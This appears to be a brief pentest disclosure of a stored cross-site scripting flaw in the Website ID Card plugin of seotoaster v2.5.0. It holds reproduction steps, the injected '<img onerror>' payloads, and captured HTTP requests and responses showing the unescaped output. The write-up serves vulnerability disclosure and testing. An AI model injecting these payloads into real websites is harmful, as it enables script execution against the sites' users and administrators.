Friday Fun Pentest Series - 36 - Stored XSS "Edit General Info" Functionality - seotoasterv2.5.0

 Description

- It was noted that the application was vulnerable to Cross-Site Scripting (XSS) in the "Edit General Info"

Stored XSS "Edit General Info"#1

Steps to Reproduce

1. Login with admin and visit "Website ID Card" > "Website Id Card"
2. In the "Organization Name" add the following payload "><img src=x onerror=alert(1)>

// HTTP POST Request

POST /seotoaster/plugin/widcard/run/setWebsiteIdCard HTTP/1.1

Host: 192.168.58.149

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0

[...]

------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87

Content-Disposition: form-data; name="organization_name"

"><img src=x onerror=alert(`xss1`)>

------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87

Content-Disposition: form-data; name="organization_description"

"><img src=x onerror=alert(`xss2`)>

------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87

[...]

// HTTP Response

HTTP/1.1 302 Found

Date: Sun, 20 Jul 2025 15:35:07 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

[...]

// HTTP GET Request

GET /seotoaster/plugin/widcard/run/getWebsiteIdCard HTTP/1.1

Host: 192.168.58.149

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0

[...]

// HTTP Response

HTTP/1.1 200 OK

Date: Sun, 20 Jul 2025 15:35:11 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

[...]

[...]

<input type="text" name="organization_name" value=""><img src=x onerror=alert(`xss1`)>" />

[...]